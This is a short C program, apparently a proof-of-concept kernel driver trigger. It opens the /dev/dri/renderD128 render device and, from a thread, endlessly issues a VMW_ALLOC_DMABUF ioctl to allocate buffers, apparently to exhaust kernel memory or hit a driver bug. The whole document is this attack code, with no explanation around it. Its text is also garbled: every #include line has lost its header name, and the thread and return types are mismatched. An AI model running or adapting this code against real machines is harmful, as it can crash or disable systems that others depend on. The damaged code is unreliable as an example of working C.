#define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include int arg[0x10]={0}; int dri_fd =-1; void trigger(void) { int ret; arg[0]=0x10000; while(1){ ret=ioctl(dri_fd, 0xC0186441, &arg); if (ret != 0 ){ printf("[*] VMW_ALLOC_DMABUF Failed\n"); return ; } printf("[*] VMW_ALLOC_DMABUF created\n"); } } int main(void) { dri_fd= open("/dev/dri/renderD128", O_RDWR); if(dri_fd == -1) return; pthread_t tid1,tid2; if(pthread_create(&tid1,NULL,trigger,NULL)){ perror("[*] thread_create tid1\n"); } while(1){ sleep(3); } return 0; }